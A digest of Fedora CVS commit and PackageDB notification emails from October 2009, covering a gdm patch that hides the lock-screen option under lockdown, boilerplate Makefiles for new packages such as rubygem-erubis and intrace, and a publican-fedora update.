Message-ID: <20091031234327.A7C1C11C0349@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-V/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsB27589/rpms/perl-V/devel

Log Message:
Directory /cvs/pkgs/rpms/perl-V/devel added to the repository




From mclasen at fedoraproject.org  Sat Oct 31 23:43:23 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 31 Oct 2009 23:43:23 +0000 (UTC)
Subject: rpms/gdm/F-12
	0001-Don-t-show-lock-screen-option-if-locked-down.patch, 
	NONE, 1.1 gdm.spec, 1.515, 1.516
Message-ID: <20091031234323.4A34211C00EF@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26714

Modified Files:
	gdm.spec 
Added Files:
	0001-Don-t-show-lock-screen-option-if-locked-down.patch 
Log Message:
Fix lockdown of the lock screen option


0001-Don-t-show-lock-screen-option-if-locked-down.patch:
 applet.c |   31 ++++++++++++++++++++++++-------
 1 file changed, 24 insertions(+), 7 deletions(-)

--- NEW FILE 0001-Don-t-show-lock-screen-option-if-locked-down.patch ---
>From 8b03661e8fe3cb7ad2785c935fd0920f44d32138 Mon Sep 17 00:00:00 2001
From: William Jon McCann <jmccann at redhat.com>
Date: Wed, 28 Oct 2009 19:18:50 -0400
Subject: [PATCH 01/12] Don't show lock screen option if locked down

Also fix up some other silliness
Fixes https://bugzilla.gnome.org/show_bug.cgi?id=599962
---
 gui/user-switch-applet/applet.c |   30 ++++++++++++++++++++++++------
 1 files changed, 24 insertions(+), 6 deletions(-)

diff --git a/gui/user-switch-applet/applet.c b/gui/user-switch-applet/applet.c
index 66897c0..a72997b 100644
--- a/gui/user-switch-applet/applet.c
+++ b/gui/user-switch-applet/applet.c
@@ -44,7 +44,9 @@
 #include "gdm-entry-menu-item.h"
 
 #define LOCKDOWN_DIR    "/desktop/gnome/lockdown"
-#define LOCKDOWN_KEY    LOCKDOWN_DIR "/disable_user_switching"
+#define LOCKDOWN_USER_SWITCHING_KEY LOCKDOWN_DIR "/disable_user_switching"
+#define LOCKDOWN_LOCK_SCREEN_KEY    LOCKDOWN_DIR "/disable_lock_screen"
+#define LOCKDOWN_COMMAND_LINE_KEY   LOCKDOWN_DIR "/disable_command_line"
 
 typedef enum {
         GSM_PRESENCE_STATUS_AVAILABLE = 0,
@@ -1163,7 +1165,7 @@ create_sub_menu (GdmAppletData *adata)
                           G_CALLBACK (menuitem_style_set_cb), adata);
         g_signal_connect (adata->lock_screen_item, "activate",
                           G_CALLBACK (on_lock_screen_activate), adata);
-        gtk_widget_show (adata->lock_screen_item);
+        /* Only show if not locked down */
 
         adata->login_screen_item = gtk_image_menu_item_new_with_label (_("Switch User"));
         gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (adata->login_screen_item),
@@ -1229,12 +1231,18 @@ client_notify_lockdown_func (GConfClient   *client,
                 return;
         }
 
-        if (strcmp (key, LOCKDOWN_KEY) == 0) {
+        if (strcmp (key, LOCKDOWN_USER_SWITCHING_KEY) == 0) {
                 if (gconf_value_get_bool (value)) {
                         set_menu_visibility (adata, FALSE);
                 } else {
                         set_menu_visibility (adata, TRUE);
                 }
+        } else if (strcmp (key, LOCKDOWN_LOCK_SCREEN_KEY) == 0) {
+                if (gconf_value_get_bool (value)) {
+                        gtk_widget_hide (adata->lock_screen_item);
+                } else {
+                        gtk_widget_show (adata->lock_screen_item);
+                }
         }
 }
 
@@ -1430,7 +1438,7 @@ fill_applet (PanelApplet *applet)
 
         /* Hide the admin context menu items if locked down or no cmd-line */
         if (gconf_client_get_bool (adata->client,
-                                   "/desktop/gnome/lockdown/inhibit_command_line",
+                                   LOCKDOWN_COMMAND_LINE_KEY,
                                    NULL) ||
             panel_applet_get_locked_down (applet)) {
                 bonobo_ui_component_set_prop (popup_component,
@@ -1502,18 +1510,28 @@ fill_applet (PanelApplet *applet)
         adata->manager = gdm_user_manager_ref_default ();
         setup_current_user (adata);
 
+        gconf_client_add_dir (adata->client,
+                              LOCKDOWN_DIR,
+                              GCONF_CLIENT_PRELOAD_ONELEVEL,
+                              NULL);
+
         adata->client_notify_lockdown_id = gconf_client_notify_add (adata->client,
-                                                                    LOCKDOWN_KEY,
+                                                                    LOCKDOWN_DIR,
                                                                     (GConfClientNotifyFunc)client_notify_lockdown_func,
                                                                     adata,
                                                                     NULL,
                                                                     NULL);
 
-        if (gconf_client_get_bool (adata->client, LOCKDOWN_KEY, NULL)) {
+        if (gconf_client_get_bool (adata->client, LOCKDOWN_USER_SWITCHING_KEY, NULL)) {
                 set_menu_visibility (adata, FALSE);
         } else {
                 set_menu_visibility (adata, TRUE);
         }
+        if (gconf_client_get_bool (adata->client, LOCKDOWN_LOCK_SCREEN_KEY, NULL)) {
+                        gtk_widget_hide (adata->lock_screen_item);
+        } else {
+                        gtk_widget_show (adata->lock_screen_item);
+        }
 
         error = NULL;
         bus = dbus_g_bus_get (DBUS_BUS_SESSION, &error);
-- 
1.6.5.1



Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.515
retrieving revision 1.516
diff -u -p -r1.515 -r1.516
--- gdm.spec	31 Oct 2009 22:30:41 -0000	1.515
+++ gdm.spec	31 Oct 2009 23:43:22 -0000	1.516
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 18%{?dist}
+Release: 19%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -107,6 +107,7 @@ Patch23: fix-na-tray.patch
 Patch24: fix-computer-info.patch
 Patch25: fix-run-dir-permissions.patch
 Patch26: make-user-list-animation-smoother.patch
+Patch27: 0001-Don-t-show-lock-screen-option-if-locked-down.patch
 
 Patch96: gdm-multistack.patch
 # Fedora-specific
@@ -160,6 +161,7 @@ The GDM fingerprint plugin provides func
 %patch24 -p1 -b .fix-computer-info
 %patch25 -p1 -b .fix-run-dir-permission
 %patch26 -p1 -b .make-user-list-animation-smoother
+%patch27 -p1 -b .dont-show-lock-screen-if-locked-down
 
 %patch96 -p1 -b .multistack
 %patch97 -p1 -b .bubble-location
@@ -417,6 +419,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Sat Oct 31 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-19
+- Don't show 'Lock Screen' in the user switcher if locked down
+
 * Sat Oct 31 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-18
 - Actually set up statusicon padding
 



From kevin at fedoraproject.org  Sat Oct 31 23:43:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:43:37 +0000 (UTC)
Subject: rpms/perl-V Makefile,NONE,1.1
Message-ID: <20091031234337.478FD11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-V
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsB27589/rpms/perl-V

Added Files:
	Makefile 
Log Message:
Setup of module perl-V


--- NEW FILE Makefile ---
# Top level Makefile for module perl-V
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:43:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:43:37 +0000 (UTC)
Subject: rpms/perl-V/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091031234337.E1EC011C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-V/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsB27589/rpms/perl-V/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module perl-V


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: perl-V
# $Id: Makefile,v 1.1 2009/10/31 23:43:37 kevin Exp $
NAME := perl-V
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:44:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:44:14 +0000
Subject: [pkgdb] rubygem-erubis was added for mkent
Message-ID: <20091031234414.A761F10F843@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-erubis with summary A fast and extensible eRuby implementation
kevin has approved Package rubygem-erubis
kevin has added a Fedora devel branch for rubygem-erubis with an owner of mkent
kevin has approved rubygem-erubis in Fedora devel
kevin has approved Package rubygem-erubis
kevin has set commit to Approved for 107427 on rubygem-erubis (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-erubis (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-erubis (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-erubis



From pkgdb at fedoraproject.org  Sat Oct 31 23:44:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:44:15 +0000
Subject: [pkgdb] rubygem-erubis summary updated by kevin
Message-ID: <20091031234415.E175710F849@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-erubis summary to A fast and extensible eRuby implementation

To make changes to this package see:
  /pkgdb/packages/name/rubygem-erubis



From pkgdb at fedoraproject.org  Sat Oct 31 23:44:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:44:15 +0000
Subject: [pkgdb] rubygem-erubis (Fedora, 11) updated by kevin
Message-ID: <20091031234415.EE50B10F861@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-erubis
kevin has set commit to Approved for 107427 on rubygem-erubis (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-erubis (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-erubis (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-erubis



From pkgdb at fedoraproject.org  Sat Oct 31 23:44:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:44:15 +0000
Subject: [pkgdb] rubygem-erubis (Fedora, 11) updated by kevin
Message-ID: <20091031234416.0453A10F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-erubis
kevin has set commit to Approved for 107427 on rubygem-erubis (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-erubis (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-erubis (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-erubis



From kevin at fedoraproject.org  Sat Oct 31 23:44:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:44:31 +0000 (UTC)
Subject: rpms/rubygem-erubis - New directory
Message-ID: <20091031234431.1E98F11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-erubis
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI28045/rpms/rubygem-erubis

Log Message:
Directory /cvs/pkgs/rpms/rubygem-erubis added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:44:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:44:31 +0000 (UTC)
Subject: rpms/rubygem-erubis/devel - New directory
Message-ID: <20091031234431.7E1DF11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-erubis/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI28045/rpms/rubygem-erubis/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-erubis/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:44:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:44:43 +0000 (UTC)
Subject: rpms/rubygem-erubis Makefile,NONE,1.1
Message-ID: <20091031234443.DA99311C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-erubis
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI28045/rpms/rubygem-erubis

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-erubis


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-erubis
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:44:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:44:43 +0000 (UTC)
Subject: rpms/rubygem-erubis/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091031234443.E8B3F11C029D@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-erubis/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI28045/rpms/rubygem-erubis/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-erubis


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-erubis
# $Id: Makefile,v 1.1 2009/10/31 23:44:43 kevin Exp $
NAME := rubygem-erubis
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:45:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:45:18 +0000
Subject: [pkgdb] rubygem-archive-tar-minitar summary updated by kevin
Message-ID: <20091031234518.758B910F849@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-archive-tar-minitar summary to Provides POSIX tar archive management from Ruby programs

To make changes to this package see:
  /pkgdb/packages/name/rubygem-archive-tar-minitar



From pkgdb at fedoraproject.org  Sat Oct 31 23:45:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:45:16 +0000
Subject: [pkgdb] rubygem-archive-tar-minitar was added for mkent
Message-ID: <20091031234517.03EC510F843@bastion2.fedora.phx.redhat.com>

kevin has added Package rubygem-archive-tar-minitar with summary Provides POSIX tar archive management from Ruby programs
kevin has approved Package rubygem-archive-tar-minitar
kevin has added a Fedora devel branch for rubygem-archive-tar-minitar with an owner of mkent
kevin has approved rubygem-archive-tar-minitar in Fedora devel
kevin has approved Package rubygem-archive-tar-minitar
kevin has set commit to Approved for 107427 on rubygem-archive-tar-minitar (Fedora devel)
kevin has set checkout to Approved for 107427 on rubygem-archive-tar-minitar (Fedora devel)
kevin has set build to Approved for 107427 on rubygem-archive-tar-minitar (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-archive-tar-minitar



From pkgdb at fedoraproject.org  Sat Oct 31 23:45:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:45:18 +0000
Subject: [pkgdb] rubygem-archive-tar-minitar (Fedora, 11) updated by kevin
Message-ID: <20091031234518.9113F10F861@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for rubygem-archive-tar-minitar
kevin has set commit to Approved for 107427 on rubygem-archive-tar-minitar (Fedora 11)
kevin has set checkout to Approved for 107427 on rubygem-archive-tar-minitar (Fedora 11)
kevin has set build to Approved for 107427 on rubygem-archive-tar-minitar (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-archive-tar-minitar



From pkgdb at fedoraproject.org  Sat Oct 31 23:45:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:45:18 +0000
Subject: [pkgdb] rubygem-archive-tar-minitar (Fedora, 11) updated by kevin
Message-ID: <20091031234518.9AE0510F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for rubygem-archive-tar-minitar
kevin has set commit to Approved for 107427 on rubygem-archive-tar-minitar (Fedora 12)
kevin has set checkout to Approved for 107427 on rubygem-archive-tar-minitar (Fedora 12)
kevin has set build to Approved for 107427 on rubygem-archive-tar-minitar (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/rubygem-archive-tar-minitar



From kevin at fedoraproject.org  Sat Oct 31 23:45:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:45:34 +0000 (UTC)
Subject: rpms/rubygem-archive-tar-minitar - New directory
Message-ID: <20091031234534.4757D11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-archive-tar-minitar
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM28466/rpms/rubygem-archive-tar-minitar

Log Message:
Directory /cvs/pkgs/rpms/rubygem-archive-tar-minitar added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:45:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:45:34 +0000 (UTC)
Subject: rpms/rubygem-archive-tar-minitar/devel - New directory
Message-ID: <20091031234534.9852011C029D@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-archive-tar-minitar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM28466/rpms/rubygem-archive-tar-minitar/devel

Log Message:
Directory /cvs/pkgs/rpms/rubygem-archive-tar-minitar/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:45:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:45:50 +0000 (UTC)
Subject: rpms/rubygem-archive-tar-minitar Makefile,NONE,1.1
Message-ID: <20091031234550.9A6D811C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-archive-tar-minitar
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM28466/rpms/rubygem-archive-tar-minitar

Added Files:
	Makefile 
Log Message:
Setup of module rubygem-archive-tar-minitar


--- NEW FILE Makefile ---
# Top level Makefile for module rubygem-archive-tar-minitar
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:45:51 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:45:51 +0000 (UTC)
Subject: rpms/rubygem-archive-tar-minitar/devel .cvsignore, NONE,
	1.1 Makefile, NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091031234551.3CD4711C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-archive-tar-minitar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM28466/rpms/rubygem-archive-tar-minitar/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-archive-tar-minitar


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-archive-tar-minitar
# $Id: Makefile,v 1.1 2009/10/31 23:45:50 kevin Exp $
NAME := rubygem-archive-tar-minitar
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:46:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:46:24 +0000
Subject: [pkgdb] intrace was added for kashyapc
Message-ID: <20091031234624.3919010F841@bastion2.fedora.phx.redhat.com>

kevin has added Package intrace with summary Traceroute-like application for network reconnaisance
kevin has approved Package intrace
kevin has added a Fedora devel branch for intrace with an owner of kashyapc
kevin has approved intrace in Fedora devel
kevin has approved Package intrace
kevin has set commit to Approved for 107427 on intrace (Fedora devel)
kevin has set checkout to Approved for 107427 on intrace (Fedora devel)
kevin has set build to Approved for 107427 on intrace (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/intrace



From pkgdb at fedoraproject.org  Sat Oct 31 23:46:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:46:26 +0000
Subject: [pkgdb] intrace summary updated by kevin
Message-ID: <20091031234626.129ED10F849@bastion2.fedora.phx.redhat.com>

kevin set package intrace summary to Traceroute-like application for network reconnaisance

To make changes to this package see:
  /pkgdb/packages/name/intrace



From pkgdb at fedoraproject.org  Sat Oct 31 23:46:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:46:26 +0000
Subject: [pkgdb] intrace (Fedora, 11) updated by kevin
Message-ID: <20091031234626.1B27110F861@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for intrace
kevin has set commit to Approved for 107427 on intrace (Fedora 11)
kevin has set checkout to Approved for 107427 on intrace (Fedora 11)
kevin has set build to Approved for 107427 on intrace (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/intrace



From pkgdb at fedoraproject.org  Sat Oct 31 23:46:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:46:26 +0000
Subject: [pkgdb] intrace (Fedora, 11) updated by kevin
Message-ID: <20091031234626.22F4F10F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for intrace
kevin has set commit to Approved for 107427 on intrace (Fedora 12)
kevin has set checkout to Approved for 107427 on intrace (Fedora 12)
kevin has set build to Approved for 107427 on intrace (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/intrace



From kevin at fedoraproject.org  Sat Oct 31 23:46:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:46:36 +0000 (UTC)
Subject: rpms/intrace - New directory
Message-ID: <20091031234636.8FEAD11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/intrace
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr28880/rpms/intrace

Log Message:
Directory /cvs/pkgs/rpms/intrace added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:46:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:46:36 +0000 (UTC)
Subject: rpms/intrace/devel - New directory
Message-ID: <20091031234636.C587511C0349@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/intrace/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr28880/rpms/intrace/devel

Log Message:
Directory /cvs/pkgs/rpms/intrace/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:46:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:46:46 +0000 (UTC)
Subject: rpms/intrace Makefile,NONE,1.1
Message-ID: <20091031234646.8A64111C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/intrace
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr28880/rpms/intrace

Added Files:
	Makefile 
Log Message:
Setup of module intrace


--- NEW FILE Makefile ---
# Top level Makefile for module intrace
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:46:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:46:47 +0000 (UTC)
Subject: rpms/intrace/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091031234647.10CB911C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/intrace/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr28880/rpms/intrace/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module intrace


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: intrace
# $Id: Makefile,v 1.1 2009/10/31 23:46:46 kevin Exp $
NAME := intrace
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From rlandmann at fedoraproject.org  Sat Oct 31 23:49:47 2009
From: rlandmann at fedoraproject.org (=?utf-8?q?R=C3=BCdiger_Landmann?=)
Date: Sat, 31 Oct 2009 23:49:47 +0000 (UTC)
Subject: rpms/publican-fedora/devel .cvsignore, 1.11, 1.12 import.log, 1.3, 
	1.4 publican-fedora.spec, 1.14, 1.15 sources, 1.13, 1.14
Message-ID: <20091031234947.E1CC911C00EF@cvs1.fedora.phx.redhat.com>

Author: rlandmann

Update of /cvs/pkgs/rpms/publican-fedora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29758/devel

Modified Files:
	.cvsignore import.log publican-fedora.spec sources 
Log Message:
* Fri Oct 30 2009 Jeff Fearn <jfearn at redhat.com> 1.0
- port to publican 1.0.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	5 Oct 2009 06:34:58 -0000	1.11
+++ .cvsignore	31 Oct 2009 23:49:47 -0000	1.12
@@ -1 +1 @@
-publican-fedora-0.19.tgz
+publican-fedora-1.0.tgz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	7 Oct 2009 03:17:25 -0000	1.3
+++ import.log	31 Oct 2009 23:49:47 -0000	1.4
@@ -1,3 +1,4 @@
 publican-fedora-0_19-1_fc11:HEAD:publican-fedora-0.19-1.fc11.src.rpm:1254724218
 publican-fedora-0_19-2_fc11:HEAD:publican-fedora-0.19-2.fc11.src.rpm:1254883023
 publican-fedora-0_19-3_fc11:HEAD:publican-fedora-0.19-3.fc11.src.rpm:1254885351
